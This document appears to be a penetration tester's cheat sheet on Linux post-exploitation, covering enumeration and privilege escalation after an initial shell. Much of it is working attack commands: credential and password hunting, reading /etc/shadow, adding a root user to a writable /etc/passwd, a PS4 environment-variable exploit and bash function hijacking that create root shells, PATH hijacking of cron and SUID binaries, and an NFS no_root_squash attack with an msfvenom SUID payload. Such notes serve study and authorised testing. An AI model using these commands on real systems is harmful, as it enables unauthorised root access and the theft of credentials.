Linux Post-Exploitation
Enumeration for initial shell on Linux.
Basic Enumeration
Whoami
Username: whoami
User and group IDs: id
- Does the user have sudo?
- Look at custom groups, 1000+ may be made by an admin
- Find files owned by certain groups:
find / -group GROUPNAME -ls 2>/dev/null
Find users on box: cat /etc/passwd
- Users with valid shell:
grep -vE "nologin|false" /etc/passwd - Identify who can sudo:
cat /etc/sudoers
Find files owned by a given USER: find / -user USER 2>/dev/null
Host Info
For OS: cat /etc/*-release
For more system info: uname -i
For Debian: lsb_release -a
Check Installed Packages and Kernel
Debian: dpkg -l
CentOS/openSUSE: rpm -qa
General linux: uname -a and /etc/issue
Command History
Look at history files: cat .*history
Use history command: history
Situational Awareness
Where are you: pwd
Processes
Use pspy to enumerate processes as they run on the system.
- This can help identify processes that run on a schedule/automatically
- Keep a copy of precompiled bins in -->
/usr/share/pspy - Source: https://github.com/DominicBreuker/pspy
- Then do a
locateon the bin
Use ps aux to pull single point-in-time process data
- Find Processes Running Under a Given User:
ps -ef | grep USER
After enumerating processes, consider the following:
- Check what is running as root
- Identify processes that may require special action
- port-knocking with
knockd tmux- vnc
- port-knocking with
Networking
Network configuration information:
ifconfig
Identify network processes:
netstat -antup
- For FreeBSD:
netstat -an -p tcp
- Look at what's listening on localhost
Cron
Cron jobs are automated tasks that are executed on a timer and can be exploited to run code at a potentially higher level.
- Enumerate cronjobs:
crontab -landcat /etc/crontab - If write permissible, these may be overwritten and executed
- Check path variables
- If a path variable earlier in the path string is writable, then a cron job without an explicit path can be hijacked by placing a binary with the same name as the cron job file in the earlier path
- Hijack cron job command executions that use a wildcard
*character- If a wildcard is used, then it will execute on whatever is in the directory
- This offers an opportunity for command injection
- If observed, check GTFOBins for possible abuse patterns
Services
Services: cat /etc/services
Check status of all services: service --status-all OR systemctl list-units --type=service -all
Access Checking
Look for files only a given account/group can access:
# For just a given USERNAME
find / -user USERNAME 2>/dev/null | grep -v -e '^/proc' -e '^/run' -e '^/sys'
# For group enumeration
id # Note the groups, now denoted as GROUPNAME
find / -group GROUPNAME 2>/dev/null
Sudo
Try sudo su to root: sudo su -
List sudo privileges: sudo -l
- If a password is not available, specifically look at
NOPASSWD- Cross-reference with GTFOBins: https://gtfobins.github.io/#+suid
- If a script is capable of being run with sudo, check the script for additional areas of potential exploitation
- If a path to a script does not have a full path, a path injection can be used
- Also pay attention to environment variables in the sudo -l output
- This is leveraged in the command to directly execute a root shell
See if you can sudo as someone else with NOPASSWD: sudo -u USER /bin/bash
SUID/SGID Bit
- Find all binaries with either the SUID/SGID bit:
find / -type f -a \( -perm -u+s -o -perm -g+s \) -exec ls -l {} \; 2> /dev/null
- Finding if a binary is vulnerable to a shared object injection:
strace FILE 2>&1 | grep -iE "open|access|no such file"
- Run strings to check if a binary is running a command that could be hijacked:
- If the path is not absolute -> path hijacking approach
- If there appears to be a command being run (i.e.
service), then put a payload with the same name as the command in the current directory - Finally, add the current directory to the PATH & execute:
PATH=.:$PATH PAYLOAD
- If there appears to be a command being run (i.e.
- If the path is absolute AND bash version <4.2-048 - bash function approach
- If the command has an absolute path (calling this
ABSOLUTEPATH), then it can be exported as a function - Defining function:
function ABSOLUTEPATH { /bin/bash -p; } - Exporting function:
export -f ABSOLUTEPATH
- If the command has an absolute path (calling this
- If bash version <4.4 - PS4 environment variable exploitation
- Run this command:
env -i SHELLOPTS=xtrace PS4='$(cp /bin/bash /tmp/rootbash; chmod +xs /tmp/rootbash)' TARGETPATH
- Run this command:
- If the path is not absolute -> path hijacking approach
SUID Bit
- Linux file perms of
-rwsr-…in which thesis the SUID bit- This permission means that anyone can execute the given file as the owner
- Coupled with a root owner means root running file
- Find them globally with:
find / -perm -4000 2>/dev/null- Check read/writeability of the files that pop up
- Cross-reference with GTFOBins: https://gtfobins.org/
SGID bit
- Linux file perms of
-rwxrws-…in which thesis the SGID bit - Similar concept to SUID bit
Passwd/Shadow
Try to read the /etc/passwd and /etc/shadow files as they may contain hashes that can be cracked
If the shadow file is writeable, then we can add our own hash to it
If passwd file is writeable, then we can replace the x with a hash of our password
- Use this command to generate hash:
openssl passwd -1 -salt NEWUSER NEWPASSWORD - Add the new user as...
- Root:
NEWUSER:OPENSSLCOMMANDRESULT:0:0:root:/root:/bin/bash
- Root:
Linux Privilege Escalation Scripts
LinPEAS
- LinPEAS does an excellent job of enumerating potential priv esc vectors
- Check all the yellow/red highlights and skim through the red
Other Scripts
- LinEnum
- LSE
Credential Hunting
Password Hunting
Looking for a password in a directory:
grep -Ri password .
cat ./* | grep password
cat ./* | grep passwd
cat ./* | grep pass
cat ./* | grep "\-p "
find ./ -type f -exec cat * {} \; 2>/dev/null | grep pass | grep -v cat
Looking for a connection URL:
cat ./* | grep -E ":\/\/[a-zA-Z0-9]+\:[a-zA-Z0-9]+@"
Look for the word "key":
cat ./* | grep key
Configuration Hunting
Finding configuration files in a directory: find . | grep conf
NFS Misconfiguration
Root squashing is a protection that maps a remote root user to an unprivileged user (nobody). If a share is exported with no_root_squash, files created by root on the client keep root ownership -- in other words: run root on kali to mount the share and get root access on the target
- Check the NFS configuration:
cat /etc/exports- See if anything has a
no_root_squashattribute, indicating no protection from root squashing attacks
- See if anything has a
- On Kali host:
- Run everything from here as root:
sudo su - Create a directory for the mount:
mkdir /TARGETDIR/MNTDIR - Mount the share:
mount -o rw,vers=2 TARGET:/TARGETDIR /TARGETDIR/MNTDIR - Drop a payload file:
msfvenom -p linux/x86/exec CMD="/bin/bash -p" -f elf -o /TARGETDIR/MNTDIR/shell.elf - Chmod it with correct permission:
chmod +xs /TARGETDIR/MNTDIR/shell.elf
- Run everything from here as root:
- On target: Execute the final payload
Finding Writable Files
Checking writability of a file/directory: find -type f -writable -ls
- The last three characters are what we care about as a user
- Examples:
drw-r-xr-xas a user is not writabledrwxrwxrwxas a user is writable
- Same goes for the other perms, r - read, w - write, x - execute
- Examples:
Use CyberChef for parsing file permissions: https://gchq.github.io/CyberChef/#recipe=Parse_UNIX_file_permissions()
Find files and directories owned by the given user: find / -xdev -type f -user USERNAME 2>/dev/null; find -xdev -type d -user USERNAME 2>/dev/null
- More info on this command: https://explainshell.com/explain?cmd=find+%2F+-xdev+-type+f+-user+USERNAME+2%3E%2Fdev%2Fnull%3B+find+-xdev+-type+d+-user+USERNAME+2%3E%2Fdev%2Fnull
Kernel Exploits
Kernel exploits should only be used as a last resort as they make the system unstable and sometimes unusable.
A script to check for linux exploits is linux-exploit-suggester
Other Notes
Check for unusual directories, such as /opt and /srv and look for backup type directories and files